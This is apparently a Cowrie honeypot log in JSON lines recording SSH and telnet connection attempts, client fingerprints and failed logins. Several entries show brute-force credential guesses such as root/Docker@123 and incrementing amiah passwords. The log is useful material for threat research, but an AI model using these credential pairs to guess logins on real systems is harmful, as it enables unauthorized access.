{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:44.492843Z","src_ip":"103.148.100.146","session":"ba86f4c55a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"1234","message":"login attempt [docker/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:45.606349Z","src_ip":"103.148.100.146","session":"ba86f4c55a94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:46.877218Z","src_ip":"103.148.100.146","session":"ba86f4c55a94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":32972,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0e3c7a2dde4","protocol":"ssh","message":"New connection: 159.203.92.129:32972 (159.203.135.109:22) [session: c0e3c7a2dde4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:47.293162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:47.297994Z","src_ip":"159.203.92.129","session":"c0e3c7a2dde4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:47.302443Z","src_ip":"159.203.92.129","session":"c0e3c7a2dde4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"master","message":"login attempt [admin/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:47.314891Z","src_ip":"159.203.92.129","session":"c0e3c7a2dde4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":55860,"dst_ip":"159.203.135.109","dst_port":22,"session":"027fe74d7f98","protocol":"ssh","message":"New connection: 45.78.208.179:55860 (159.203.135.109:22) [session: 027fe74d7f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:47.704827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:47.711650Z","src_ip":"45.78.208.179","session":"027fe74d7f98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:47.955273Z","src_ip":"45.78.208.179","session":"027fe74d7f98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:48.341909Z","src_ip":"159.203.92.129","session":"c0e3c7a2dde4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adm","password":"admin123","message":"login attempt [adm/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:48.963600Z","src_ip":"45.78.208.179","session":"027fe74d7f98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:50.209615Z","src_ip":"45.78.208.179","session":"027fe74d7f98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":58782,"dst_ip":"159.203.135.109","dst_port":23,"session":"8381c9d2fd0c","protocol":"telnet","message":"New connection: 188.166.220.49:58782 (159.203.135.109:23) [session: 8381c9d2fd0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:53.935353Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":39196,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2840d2a28cc","protocol":"telnet","message":"New connection: 188.166.220.49:39196 (159.203.135.109:23) [session: e2840d2a28cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:59.582898Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":14841,"dst_ip":"10.17.0.5","dst_port":22,"session":"57cc79281df0","protocol":"ssh","message":"New connection: 213.209.159.159:14841 (10.17.0.5:22) [session: 57cc79281df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:01.601963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:01.622769Z","src_ip":"213.209.159.159","session":"57cc79281df0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:01.729579Z","src_ip":"213.209.159.159","session":"57cc79281df0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amiah","password":"amiah","message":"login attempt [amiah/amiah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:02.139080Z","src_ip":"213.209.159.159","session":"57cc79281df0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amiah","password":"amiah1","message":"login attempt [amiah/amiah1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:03.228437Z","src_ip":"213.209.159.159","session":"57cc79281df0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amiah","password":"amiah123","message":"login attempt [amiah/amiah123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:04.315781Z","src_ip":"213.209.159.159","session":"57cc79281df0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amiah","password":"amiah1234","message":"login attempt [amiah/amiah1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:05.405206Z","src_ip":"213.209.159.159","session":"57cc79281df0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amiah","password":"amiah12345","message":"login attempt [amiah/amiah12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:06.494631Z","src_ip":"213.209.159.159","session":"57cc79281df0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.71108937263489,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:07.447576Z","src_ip":"188.166.220.49","session":"e7c4b3f567f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:07.583354Z","src_ip":"213.209.159.159","session":"57cc79281df0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.107666015625,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:08.951828Z","src_ip":"188.166.220.49","session":"1012615c1198","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":54948,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d100721df7a","protocol":"telnet","message":"New connection: 188.166.220.49:54948 (159.203.135.109:23) [session: 9d100721df7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:08.972383Z"}
{"eventid":"cowrie.session.closed","duration":33.75741410255432,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:09.087936Z","src_ip":"188.166.220.49","session":"09fb63686c42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.33439612388611,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:10.673479Z","src_ip":"188.166.220.49","session":"c8697fb7b4ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.06687259674072,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:12.066337Z","src_ip":"188.166.220.49","session":"6361d2fd0966","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.22528123855591,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:13.171626Z","src_ip":"188.166.220.49","session":"dbc849d5d6e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.82669019699097,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:14.617719Z","src_ip":"188.166.220.49","session":"16e84132ae65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":52879,"dst_ip":"159.203.135.109","dst_port":22,"session":"97e462ffa4de","protocol":"ssh","message":"New connection: 223.197.186.7:52879 (159.203.135.109:22) [session: 97e462ffa4de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:23.641811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:23.647218Z","src_ip":"223.197.186.7","session":"97e462ffa4de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:23.915722Z","src_ip":"223.197.186.7","session":"97e462ffa4de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":46552,"dst_ip":"159.203.135.109","dst_port":23,"session":"421d8add4ce1","protocol":"telnet","message":"New connection: 188.166.220.49:46552 (159.203.135.109:23) [session: 421d8add4ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:24.681426Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Docker@123","message":"login attempt [root/Docker@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:24.861117Z","src_ip":"223.197.186.7","session":"97e462ffa4de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:26.080395Z","src_ip":"223.197.186.7","session":"97e462ffa4de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":49796,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c2106f78a7d","protocol":"telnet","message":"New connection: 188.166.220.49:49796 (159.203.135.109:23) [session: 8c2106f78a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:27.163080Z"}
{"eventid":"cowrie.session.closed","duration":35.05022835731506,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:28.985478Z","src_ip":"188.166.220.49","session":"8381c9d2fd0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56170,"dst_ip":"159.203.135.109","dst_port":22,"session":"351afb466d42","protocol":"ssh","message":"New connection: 159.203.92.129:56170 (159.203.135.109:22) [session: 351afb466d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:29.566749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:29.571396Z","src_ip":"159.203.92.129","session":"351afb466d42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:29.575613Z","src_ip":"159.203.92.129","session":"351afb466d42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"msbb123","message":"login attempt [admin/msbb123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:29.590407Z","src_ip":"159.203.92.129","session":"351afb466d42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":53594,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9ab790c9252","protocol":"telnet","message":"New connection: 188.166.220.49:53594 (159.203.135.109:23) [session: d9ab790c9252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:30.053905Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:30.596757Z","src_ip":"159.203.92.129","session":"351afb466d42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":58360,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ad8c2720203","protocol":"telnet","message":"New connection: 188.166.220.49:58360 (159.203.135.109:23) [session: 2ad8c2720203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:33.160228Z"}
{"eventid":"cowrie.session.closed","duration":34.909316301345825,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:34.492124Z","src_ip":"188.166.220.49","session":"e2840d2a28cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":34392,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a986b57a1de","protocol":"telnet","message":"New connection: 188.166.220.49:34392 (159.203.135.109:23) [session: 0a986b57a1de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:36.550115Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":36304,"dst_ip":"159.203.135.109","dst_port":23,"session":"d88f5e19c964","protocol":"telnet","message":"New connection: 188.166.220.49:36304 (159.203.135.109:23) [session: d88f5e19c964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:38.071407Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":41300,"dst_ip":"159.203.135.109","dst_port":23,"session":"c851d415d8b1","protocol":"telnet","message":"New connection: 188.166.220.49:41300 (159.203.135.109:23) [session: c851d415d8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:42.195858Z"}
